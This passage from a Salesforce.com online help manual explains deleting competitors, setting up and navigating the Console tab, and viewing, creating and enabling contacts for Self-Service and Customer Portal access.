Deleting Competitors

1363
Competitors Competitor Fields

Competitor Fields
Available in: All Editions that signed up prior to the Summer '09 Release in June 2009
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after the
Summer '09 Release in June 2009

A competitor has the following fields, listed in alphabetical order.

Field Description
Competitor Name Name of competitor. You can enter any name, or select from
the list of all competitors defined by your administrator via
SetupCustomizeOpportunitiesCompetitors.
Strengths Description of competitor’s key selling points and advantages.
Weaknesses Description of competitor’s key disadvantages.

See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Deleting Competitors

Deleting Competitors
Available in: All Editions that signed up prior to the Summer '09 Release in June 2009
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after the
Summer '09 Release in June 2009

User Permissions Needed


To delete competitors: “Edit” on opportunities

You can delete a competitor from the opportunities page by clicking the Del link next to a competitor’s name in the Competitors
related list.

1364
Competitors Deleting Competitors

Note: To delete a competitor from an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Competitor Fields

1365
CONSOLE

What is the Console?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The console is a tab that combines a list view and related records into one screen with different frames so that users have all
the information they need when interacting with Salesforce.com. By using the console, users can quickly find, view, and edit
records such as cases, accounts, and contacts with fewer clicks and without switching back and forth between screens.
Administrators choose the information displayed in the console to accommodate your varied and evolving business needs.
Before setting up or using the console, see Console Concepts on page 1366 for a description of console terminology.

See Also:
Console FAQ
Setting Up the Console
Displaying the Console
Navigating within the Console
Tip sheet: Using the Console

Console Concepts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Review the following terminology used to describe the components of the Console tab:
Frames
Separate sections of the console which each display a different record, list view, or other page.

List View
The console's top frame which is a list view of records based on specific criteria. The list views you can select to display
in the Console tab are the same list views defined on the tabs of other objects. You cannot create a list view within the
console.

Detail View
The console's center frame which is the detail page view of any record selected from any of the console’s other frames.
The detail view displays the same page layouts defined for the object’s detail pages. When a record is displayed in the
detail view, it is highlighted in the list view.

Mini View
The console's right frame which displays the records associated with the record displayed in the detail view. The fields
displayed in the mini view are defined in the mini page layouts by an administrator. The mini view does not display if
the record in the detail view does not have any records associated with it.

1366
Console Setting Up the Console

Sidebar
The console's left frame which displays recent items, the Recycle Bin, and other components, just like the sidebar
displayed on every Salesforce.com page. To show or hide the sidebar in the console, click the border of the left frame.

Related Objects
Records chosen by an administrator to display in the mini view when records of a particular type are shown in the detail
view. For example, when a case is in the detail view, an administrator can choose to display an associated account, contact,
or asset in the mini view.

Mini Page Layouts


A subset of the items in a record's existing page layout that administrators choose to display in the mini view. Mini page
layouts inherit record type and profile associations, related lists, fields, and field access settings from the page layout.

Console Layout
Objects chosen by an administrator to display in the list view frame of the console. For example, if an administrator adds
cases to a console layout, then users whose profiles are assigned to that console layout can see list views of cases in the
console's list view frame.

See Also:
What is the Console?
Displaying the Console
Navigating within the Console
Tip sheet: Using the Console

Setting Up the Console


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the console: “Customize Application”

You can quickly set up the Console tab so that users have all the information they need on one screen when working with
Salesforce.com. To set up the console:

1. Create console layouts to define what objects are available to users in the console's list view frame.
2. Choose the related objects to show in the mini view.
3. Define mini page layouts to customize the fields and related lists of the objects that display in the console's mini view.
4. Assign profiles to a console layout to provide users access to specific objects in the console's list view.

1367
Console Setting Up the Console

5. Add the Console tab to custom apps so that users can access the console from specific apps.

See Also:
What is the Console?
Managing Page Layouts
Console Concepts
Tip sheet: Using the Console

Creating Console Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create console layouts: “Customize Application”

To create a new console layout:

1. Click Setup ➤ Customize ➤ Console ➤ Console Layouts.


2. Click New and optionally choose an existing layout to clone.
3. Enter a name for the new layout.
4. Click Save.
5. Click Edit in the Selected List Views section.
6. To add or remove objects to the layout, select an object, and click the Add or Remove arrow.
To change the order of the objects as they will appear in the console's list view frame, select an object in the Selected List
box, and click the Up or Down arrow.
A user can only view objects in the console's list view frame if those objects are added to the console layout to which their
profile is assigned.
7. Click Save.
8. Next, choose the related objects to show in the mini view of the console.

See Also:
Managing Console Layouts

1368
Console Setting Up the Console

Choosing Related Objects for the Mini Console View


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the console: “Customize Application”

While you can choose which related objects appear in the mini view of the console, you can only choose objects with a lookup
relationship on the primary object. For example, from the cases object, you can choose account and contact because cases have
account and contact lookup fields. To choose related objects:

1. Click Setup ➤ Customize and choose a standard object, or click Setup ➤ Develop ➤ Objects and choose a custom
object.
The standard or custom object you choose in this step represents the record in the detail view of the console, and the related
objects in the mini view will be records associated with it.
2. Select Page Layouts, and choose a page layout name.
3. Click Mini Console View.
4. Select which records associated with the record in the detail view will be displayed in the mini view. You can only select
objects if they are defined as lookup relationships and those lookup fields are included on the page layout.
You can change the order of how related objects display in the mini view by clicking the up and down arrows.
5. Click Save.
6. Next, define mini page layouts to specify what fields and related lists to show for the related objects in the mini view.

Tip: The fewer related objects you add to the console's mini view, the easier it is for users to read the information
displayed. The console can also process data faster when fewer related objects are added to the mini view.

Note: You cannot choose related objects for the Close Case Layout or the Log a Case Page and View Cases Page
layouts on the Self-Service Portal.

See Also:
Setting Up the Console
Console Concepts

1369
Console Setting Up the Console

Defining Mini Page Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the console: “Customize Application”

You can define mini page layouts for the records that appear in the mini view of the console, hover details, and event overlays.
A mini page layout contains a subset of the items in an existing page layout. Mini page layouts inherit record type and profile
associations, related lists, fields, and field access settings from their associated page layout. The visible fields and related lists
of the mini page layout can be further customized, but the other items inherited from the associated page layout cannot be
changed on the mini page layout itself.
The event mini page layout is used for the event detail and edit overlays, not the console. Related lists on mini page layouts
only display in the console, not hover details.
To define a mini page layout:

1. Click Setup ➤ Customize and choose a standard object, or click Setup ➤ Develop ➤ Objects and choose a custom
object.
2. Select Page Layouts, and choose a page layout name.
3. Click Mini Page Layout.
4. Select which fields and related lists will be displayed for this type of record in the mini view. For each related list you select,
choose which fields to display in that related list.

• You can select all of the available fields and up to five related lists to display in the console; however, it is recommended
that you only select a few so that users do not have to scroll to find information.
• Selected fields and related lists display in the console even when they do not contain content.
• Fields marked Always Displayed or Always on Layout on page layouts are automatically included on the mini
page layout and cannot be removed unless they are removed from the page layout.
• Field properties on the page layout determine field properties on the mini page layout. For example, if a field is read-only
on the page layout, that same field will be read-only on the mini page layout. To change the field properties of fields
on the mini page layout, you must change the field properties of fields on the page layout. Note that the console respects
field-level security in organizations where it is available.
• To add or remove fields, select a field name, and click the Add or Remove arrow. To change the order of the fields,
select a field name in the Selected list box, and click the Up or Down arrow. Click Save when finished.
• The order of related lists on the page layout determines the order of related lists on the mini page layout. To change
the order of related lists on the mini page layout, you must change the order of related lists on the page layout, then
select the mini page layout and click Save.

5. Click Save.

1370
Console Setting Up the Console

Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases Page
layouts on the Self-Service Portal.
You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console.

See Also:
Setting Up the Console
Console Concepts
About Event Detail Overlays

Assigning Console Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign console layouts: “Customize Application”

After you create console layouts, assign which console layouts users see. A user’s profile determines which console layout he
or she sees.
To assign console layouts:

1. Click Setup ➤ Customize ➤ Console ➤ Console Layouts.


2. Click Console Layout Assignment.
3. Select a console layout to assign to a profile via the drop-down list.
4. Select the Console tab visibility settings for a profile via the drop-down list. You can only select Console tab visibility
settings for profiles assigned to a console layout.
The following settings apply to tab visibility.

Setting Description
Default On Show the tab by default for users with this profile. Individual
users can override this setting for their logins. The Home
tab is always set to Default On.
Default Off Hide the tab by default for users with this profile. Individual
users can override this setting.
Tab Hidden Hide the tab and do not allow individual users to override
this setting in their personal customization. Making a tab
hidden does not hide the records for that tab; to prevent a
user from ever seeing records of that type, remove the “Read”
permission on that type of data.

1371
Console Setting Up the Console

5. Click Save.

Note: Enterprise, Unlimited, and Developer Edition users with the “Customize Application” permission can assign
a console layout to a profile via the profile detail page by clicking the Edit link in the Console Settings section.

See Also:
Managing Console Layouts

Customizing Console Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize console layouts: “Customize Application”

To customize your organization's console layouts:

1. Click Setup ➤ Customize ➤ Console ➤ Console Layouts.


2. Select a layout name.
3. To modify the Name or Description of the layout, click Edit in the Console Layout Detail section.
4. To add or remove objects to the layout, click Edit in the Selected List Views section, select an object, and click the Add
or Remove arrow.
To change the order of the objects as they will appear in the console's list view frame, select an object in the Selected List
box, and click the Up or Down arrow.
A user can only view objects in the console's list view frame if those objects are added to the console layout to which their
profile is assigned.
5. Click Save to finish.

See Also:
Managing Console Layouts

1372
Console Setting Up the Console

Managing Console Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, delete, and assign console layouts: “Customize Application”

Console layouts define what objects are available to users in the console's list view frame. For example, if you want users to
see list views of cases and contacts in the console, then you would add both cases and contacts to a console layout, and then
assign that console layout to the appropriate user profiles. A user can only view objects in the console's list view frame if those
objects are added to the console layout to which their profile is assigned.
From the console layouts list page, accessed by clicking Setup ➤ Customize ➤ Console ➤ Console Layouts, you can:

• Click New to create layouts; see Creating Console Layouts on page 1368.
• Click Edit to modify a layout; see Customizing Console Layouts on page 1372.
• Click Del to delete a layout; see Deleting Console Layouts on page 1373.
• Click Console Layout Assignment to assign console layouts to profiles; see Assigning Console Layouts on page 1371.

See Also:
Setting Up the Console

Deleting Console Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete console layouts: “Customize Application”

To delete a console layout:

1. Click Setup ➤ Customize ➤ Console ➤ Console Layouts.


2. Click Del next to the console layout name.

1373
Console Displaying the Console

Note: You cannot delete a console layout that is assigned to a profile. To delete a console layout that is assigned to a
profile, you must first reassign the profile to another console layout or no console layout. For more information, see
Assigning Console Layouts on page 1371.

See Also:
Managing Console Layouts

Displaying the Console


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can start using the Console tab after your administrator has set it up as described in Setting Up the Console on page 1367.
To display the console, click the Console tab. To exit the console, select any tab.
No data displays in the console if the selected list view does not contain any records.
Note: You can only access the Console tab if your administrator has assigned your user profile to a console layout and
set your Console tab visibility setting to either Default On or Tab Hidden. If your Console tab visibility setting is set
to Tab Hidden, then you can customize your display to see the Console tab. For more information, see Customizing
Your Display on page 59.

See Also:
Console FAQ
What is the Console?
Navigating within the Console
Tip sheet: Using the Console

Navigating within the Console


Available in: Professional, Enterprise, Unlimited, and Developer Editions

What you click in the Console tab determines the frame a record displays in.
In the detail view, clicking:

• Buttons or links on the record displays the record in the detail view.
• Email this page ( ) displays a link to the record in an email.
• Link to this page ( ) displays the record and the URL of the record in a new browser window.
• Printable View ( ) displays a printable view of the record in a popup window.

1374
Console Navigating within the Console

• Customize Page ( ) allows you to customize the display of related lists in the detail view of the record. For more
information, see Customizing Your Display on page 59.
• Help for this page ( ) displays an online help page for the record.

In the mini view, clicking:

• Links displays the record in the detail view. Associated records display in the mini view.
• View displays the entire record in the detail view.
• Edit displays a mini edit page in the mini view.
To edit a field not displayed on the mini edit page, click View to display the entire record in the detail view, and
then click Edit from the detail view.
• Show more below a related list displays more of the records included in the related list in the mini view. Show more
displays an additional five records every time you click it, up to a maximum of 100.
Note: The mini view does not display if the record in the detail view does not have any records associated
with it.

In the list view, clicking:

• A link displays the record in the detail view.


• Refresh reloads the list view with any updates that have occurred to the records since you began viewing the list.
• A column heading sorts that column in ascending order. Click the heading a second time to sort in descending order.
• A letter at the bottom of the list view filters your list view records by the letter.
• fewer or more at the bottom of the list view displays a shorter or longer list.
• Previous Page or Next Page at the bottom of the list view displays the previous or next page of items on the list.
• For more information, see Using the Console List View on page 1376.

In the sidebar, clicking:

• The border of the left frame opens the sidebar in the console. Click the border of the left frame a second time to
hide the sidebar.
• A record under Recent Items displays the record in the detail view.
• Calendar displays the calendar in the detail view.
• Recycle Bin displays the Recycle Bin in the detail view.

Tip: Clicking the back or forward buttons on your browser cycles you through pages in the console. You will not
immediately exit the console by clicking them.

1375
Console Navigating within the Console

Note: Not all pages open within the console. For example, clicking Printable View, Check Spelling, Help for this
Page, lookup icons, email addresses, and custom links set to open in a new browser window all open outside of the
console in a new browser window or popup.
Drag-and-drop editing is not available for calendar views in the console.

See Also:
Console FAQ
What is the Console?
Console Concepts
Displaying the Console
Displaying and Editing Cases
Using the Console List View
Tip sheet: Using the Console

Using the Console List View


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The console’s list view allows you to quickly perform actions within Salesforce.com without leaving the console.
Display list views
From the drop-down list in the top left of the list view frame, select an object, and then select a list view of the object
to display in the console’s list view frame. You cannot create a list view within the console.
Click Refresh to reload the list view with any updates that have occurred to the records since you began viewing the list.
The refresh button automatically changes colors to notify you when updates have occurred to records in the list view.
Records italicize in the list view when you edit them in the detail view. This is to show you which records you have
edited in the list view.

Search
Enter keywords in the search box above the list view and click Go! to use Advanced Search across all searchable records
you can access in your organization. Terms in an Advanced Search are treated as separate words rather than a phrase
and may be found in different indexed fields within a record. So, searching for Pat Powers in Advanced Search will find
a contact named “Pat P Powers” as well as a contact named “Pat Smith” with an email address of “smith@powers.com.”
Search results display in the detail view.

Create records
From the New drop-down list, select any object to create a new record. New record pages display in the detail view.

View recent items


From the Recent Items drop-down list, you can choose to display any of the 10 records you most recently viewed. Recent
items display in the detail view.

1376
Console Navigating within the Console

Perform mass actions


Select the checkbox next to items in the list view, and from the Mass Action drop-down list, choose the action you want
to perform on all the selected records.
If you perform a mass action on more than 200 records while using Internet Explorer, you may be automatically logged
out of Salesforce.com.

Note: No data displays in the console if the selected list view does not contain any records.

See Also:
What is the Console?
Console Concepts
Displaying the Console
Navigating within the Console
Displaying and Editing Cases
Tip sheet: Using the Console

1377
CONTACTS

Contacts Overview
Available in: All Editions

Contacts are all of the individuals associated with your business accounts that you need to track in Salesforce.com. You can
store various information for a contact, such as phone numbers, addresses, titles, and roles in a deal.
The Contacts tab displays a home page that lets you quickly create and locate contacts. You can also sort and filter contacts
using standard and custom list views. In addition, this tab lets you view and edit detailed information on each contact to which
you have access.

See Also:
Contacts Home
Accounts Overview

Contacts Home
Available in: All Editions

User Permissions Needed


To view Contacts tab: “Read” on contacts
To view contacts: “Read” on contacts
To create contacts: “Create” on contacts

Clicking on the Contacts tab displays the contacts home page.

• In the Contact Views section, select a list view from the drop-down list to go directly to that list page, or click Create
New View to define your own custom view.
• In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching
that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Contacts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Contacts choices are:

Recent Contacts Choice Description


Recently Viewed The last ten or twenty-five contacts you viewed, with the
most recently viewed contact listed first. This list is derived

1378
Contacts Viewing Contact Lists

Recent Contacts Choice Description


from your recent items and includes records owned by you
and other users.
Recently Created The last ten or twenty-five contacts you created, with the
most recently created contact listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five contacts you updated, with the
most recently updated contact listed first. This list only
includes records owned by you.

• Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section
to create a new contact.
• Under Reports, click any report name to jump to that report.
• Select any of the links under Contact Tools to manage your contacts.

See Also:
Contacts Overview
Displaying and Editing Contacts
Creating Contacts
Deleting Contacts
Creating Custom List Views

Viewing Contact Lists


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The contacts list page displays a list of contacts in your current view. From this page, you can view detailed contact information
and access other related information.

• Click a contact name to view the detail. Click Edit or Del to edit or delete the contact. See Displaying and Editing Contacts
on page 1381.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

1379
Contacts Viewing Contact Lists

Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact
list views except the Recent Contacts list on the contacts home page. For more information, see What is a Person
Account? on page 1125.

• Click Printable View to display the current list view in a format that is ready for printing.
• Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact. These options
display only if you have the “Create” permission on contacts. See Creating Contacts on page 1384.
• Click any column heading to sort the contacts in ascending order using that column’s information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contacts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.
• To add contacts to an existing campaign, check the box next to one or more contacts, and then click Add to Campaign.
Alternatively, check the box in the column header to select all displayed records, then click Add to Campaign. See Adding
Contacts or Leads from a List View to a Campaign on page 1297.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list.
Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record.
Note that your administrator controls the availability of drag-and-drop scheduling.

Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond
what the sharing model allows. See Sharing Contacts on page 1395.
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Finding Out if Your Partners Use Salesforce.com

1380
Contacts Displaying and Editing Contacts

Displaying and Editing Contacts


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To edit contacts: “Edit” on contacts
To edit accounts on contacts enabled to use a Customer Portal: “Edit” on contacts
AND
“Edit Self-Service”

To edit accounts on contacts enabled to use a partner portal: “Edit” on contacts


AND
“Manage Partners”

To view person accounts: “Read” on accounts and contacts


To edit person accounts: “Edit” on accounts and contacts

Displaying contact details:

1. Find the contact name. For example, use search or look on the Contacts home page, list pages, or Account detail page
Contacts related list (Business accounts only; Person Accounts don't have contacts).
2. Click the contact name to view the details.

• Information related to the contact including activities, notes, opportunities, campaigns, assets, and cases appears in
related lists below the contact details. The related lists you see are determined by your personal customization, and by
any customization your administrator has made to page layouts or your permissions to view related data. Click more
at the bottom of the page or View More below a related list to display more items. Clicking the New button lets you
directly add new items. For example, clicking New Case lets you add a new case.
If enabled by your administrator, related list hover links display at the top of each detail page. Hover your mouse over
a related list hover link to display the corresponding related list and its number of records in an interactive overlay that
allows you to quickly view and manage the related list items. You can also click a related list hover link to jump down
to the content of the related list without having to scroll down the page.
• If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand
or collapse each section.
• If your organization has enabled hover details, hover over any lookup field on the detail page to view key information
about a record before clicking into that record's detail page.
• To return to the last list page you viewed, click Back to List at the top of the contact detail page. For more information
on navigating detail pages, see Navigating on page 42.

Editing contacts:

1381
Contacts Displaying and Editing Contacts

1. Find the contact and click Edit.


2. Make your changes.

• If your organization enabled inline editing, you can edit fields directly on the detail page.
• If you change the Account Name field, cases and opportunities associated with the contact remain associated with
the previous account and do not roll up to the new account. New cases and opportunities created for the contact are
associated with the new account. There are additional implications when changing the account on contacts enabled
for a Customer Portal or partner portal .

3. Click Save (or click Save & New to save the current contact and create another).

Tips on Displaying and Editing Contacts


• Printing contacts—To open a printable display of all information for a record, click Printable View on the detail page.
• Sharing contacts—In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can share a contact
with other users, groups, or roles by clicking Sharing on the contact detail page. This option is only available when the
contact has an account and your organization has a particular organization-wide default setting.
• Tagging contacts—If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to
tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
• Person accounts appear in contact list views but not on the Contacts home page. When you select a person account name
on a contact list view, the corresponding person account appears on the Accounts tab. To visually differentiate contacts
from person accounts in contact list views, add the Is Person Account icon as a column; see Creating Custom List
Views on page 1691. Person accounts do not have contacts.

Tips on Displaying and Editing Contacts in Portals


Enabling Portal Users

• Enabling Customer Portal users—In Enterprise and Unlimited Edition organizations where a Customer Portal is
enabled, click Enable Customer Portal User on the contact detail page to allow a contact to use your Customer
Portal. Once the contact is enabled, click View Customer Portal User on the contact detail page to view or edit a
contact's access to your Customer Portal. You can disable or deactivate a Customer Portal user at any time.
• Enabling Partner users—If your organization is enabled with a PRM or partner portal, click Enable As Partner to
enable a contact as a partner user. Once the contact is enabled, click View Partner Portal User to view the partner
user's details. Updating a contact associated with a partner user does not update the partner user. You can disable or
deactivate a partner user at any time.
• Enabling Self-Service—In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Enable
Self-Service on the contact detail page to allow a contact to use your Self-Service portal. Once the contact is enabled,
click View Self-Service on the contact detail page to view or edit a contact's access to your Self-Service portal.

Logging in as a Portal User to troubleshoot issues


If your organization has enabled the Customer Portal or partner portal, you can click Login As Portal User to troubleshoot
issues that a contact enabled to use a portal is experiencing. When you click this button, a new browser window opens
and you are logged into the portal as the portal user. You may also click this button to ensure that the portal is configured
appropriately. To log in as a partner portal user, you need the “Manage Partners” permission and either the “Modify All
Data” permission or “Edit” access on the account. To log in as a Customer Portal user, you must have the “Edit Self-Service
Users” permission and “Edit” access on the Customer Portal user's account. The Login as Portal User button only
appears if you have these permissions and the portal user is active.

Changing the account on contacts enabled for Customer Portals or partner portals
When you change the account on contacts enabled for a Customer Portal or partner portal:

1382
Contacts Displaying and Editing Contacts

• Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service
users can view on the Self-Service portal only cases that are associated with their current account. Self-Service users
cannot view opportunities.
• Contacts' portal roles are automatically updated to match the name of the account to which they are transferred
(unless they're high-volume Customer Portal users, which don't have roles). For example, the portal role “Account
A Customer User” becomes “Account B Customer User” (because a portal role's name includes the name of the
account with which it is associated). Portal roles are unique to each account and are located under the account owner's
role in your organization's role hierarchy.
• When you transfer a partner portal user to another account:
- Opportunities on each account are automatically recalculated through your organization's forecast hierarchy.
- Opportunities owned by the partner portal user remain in the previous account.
This is because portal users' roles are updated when you transfer them between accounts.
• Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on
accounts to which they are transferred.
• You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal.

See Also:
Contact Fields
Creating Contacts
Cloning Contacts
Merging Duplicate Contacts
Displaying Contact Hierarchy
Deleting Contacts
Searching for Contacts
Contact History

Contact History
Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts

The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History
related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related
lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see
Tracking Field History on page 457.

1383
Contacts Creating Contacts

Creating Contacts
Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To create contacts: “Create” on contacts

To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts
on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to
save the current contact and add another.
To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also
select New in the Contacts related list of an account.
If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a contact. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.
Note:
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Cloning Contacts
Contact Fields
Contacts Home

1384
Contacts Cloning Contacts

Cloning Contacts
Available in: All Editions

User Permissions Needed


To clone contacts: “Create” on contacts

The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example,
when you need to add multiple contacts for the same account.
Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contact Fields

Self-Service for Contacts and Person Accounts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Self-Service users: “Edit Self-Service Users”

To allow a customer to access your Self-Service portal, you must enable Self-Service for the customer’s contact or person
account record:

1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person
account, click the Enable Self-Service button on the person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service
Username defaults to his or her Email.
3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case
information, add comments, and upload attachments for all cases submitted by anyone in his or her company.
4. Select Generate new password and notify user immediately to email a Self-Service username and password
to the customer.
5. Click Save.

1385
Contacts Enabling the Customer Portal for Contacts and Person Accounts

Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account
record.

To disable Self-Service for a customer:

1. Click the View Self-Service button on the detail page.


2. Click Edit, and deselect the Active box.
3. Click Save.

To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 731.
Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal.
In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead,
deactivate his or her access to the Self-Service portal and then delete the contact or person account.

See Also:
Setting Up Self-Service
What is a Person Account?

Enabling the Customer Portal for Contacts and Person


Accounts
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Customer Portal users: “Edit” on the account associated with the Customer Portal
user
AND
“Edit Self-Service Users”

To allow a customer to access your Salesforce.com Customer Portal, you must enable the customer's contact or person account
record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time.
To enable the Customer Portal for a customer:

1. Click the Enable Customer Portal User button on the contact or person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username
defaults to his or her Email.
3. Select a portal user license for the user. The user license you choose determines the user profile and role hierarchy options
you can select for the Customer Portal user. The following table shows the Customer Portal user licenses with their
associated profiles and positions in the Customer Portal role hierarchy:

1386
Contacts Enabling the Customer Portal for Contacts and Person Accounts

User License Profiles Roles and Sharing


High-Volume Customer Portal User High-Volume Customer Portal User or High-volume Customer Portal users
Authenticated Website User profile, or don't have roles. See Granting
and
a profile cloned and customized from High-Volume Customer Portal Users
Authenticated Website User one of these Access to Objects on page 1457.
(both user licenses are high-volume • Can access custom objects Can't share but can transfer records they
Customer Portal users) depending on profile settings. own or have access to; can't access
• Can't assign to person accounts. articles.
Can't transfer cases from non
high-volume Customer Portal users to
them.
Can't include in:

• Personal groups or public groups


• Sharing rules
• Account teams, sales teams, or case
teams
• Salesforce CRM Content
workspaces

Customer Portal Manager Standard Customer Portal User profile or a Can only assign to the User role.
profile cloned and customized from the
Can only view and edit data they
Customer Portal User profile
directly own and can view and edit cases
• Can access custom objects where they are listed in the Contact
depending on profile settings. Name field.
• Can access Salesforce CRM
Content depending on feature
license and profile settings. See
Enabling Salesforce CRM Content
in the Customer Portal on page 1429.

Customer Portal Manager Custom Customer Portal Manager profile or a Can assign to either the Executive,
profile cloned and customized from the Manager, or User role.
Customer Portal Manager profile
Can view and edit data they directly
• Can access custom objects own or data owned by or shared with
depending on profile settings. users below them in the Customer
• Can access reports depending on Portal role hierarchy; and they can view
profile settings. and edit cases where they are listed in
• Can access Salesforce CRM the Contact Name field.
Content depending on feature
Can have data shared to them just like
license and profile settings. See
other Salesforce.com users.
Enabling Salesforce CRM Content
in the Customer Portal on page 1429.
• Can receive the “Portal Super User”
and “Delegated Portal User
Administrator” permissions.

1387
Contacts Enabling the Customer Portal for Contacts and Person Accounts

User License Profiles Roles and Sharing


• The settings on the Customer Portal
Manager and Customer Portal User
profiles are similar. However, users
associated with the Customer Portal
Manager profile can be assigned
greater access to data via the
Customer Portal role hierarchy and
sharing rules.

Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role,
which you cannot change. Person accounts are automatically assigned to this role because they include a single
user, so multiple roles are not necessary for their account. Furthermore, all person accounts owned by the same
user are assigned the same role.

Important: You can only enable contacts as high-volume Customer Portal users via the API. See the Force.com
Web Services API Developer's Guide.

4. Select Generate new password and notify user immediately to email a Customer Portal username and
password to the customer.
If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or
her profile with one username and password. See Creating Multiple Customer Portals on page 1433.
5. Click Save.

Tips on Enabling the Customer Portal for Contacts


Consider the following when enabling the Customer Portal for contacts:
• You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role
in your organization.
• The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role.
The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You
can update contact's portal role later.
This behavior doesn't apply to high-volume Customer Portal users because they don't have roles and aren't included in
the role hierarchy.
• A contact can be either a PRM, partner, or Customer Portal user, but not all three. If a user is a PRM or partner user and
a Customer Portal user, then you need to create two contact records for the user so that he or she can have a separate
username and password for each portal.
However, a contact can be a Self-Service user as well as a PRM or Customer Portal user. Yet, any data created or owned
by a Self-Service user can be visible to a PRM or Customer Portal user associated with the same contact.
• You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer
Portal.
The following table describes whether you can delete contacts that are associated with portal users:

1388
Contacts Contact Fields

State of Portal User Associated to Contact Can Delete Contact?


Active portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Inactive portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Disabled portal user Yes. Deleted contacts are sent to the Recycle Bin.

• You can change the account on the contact at any time.


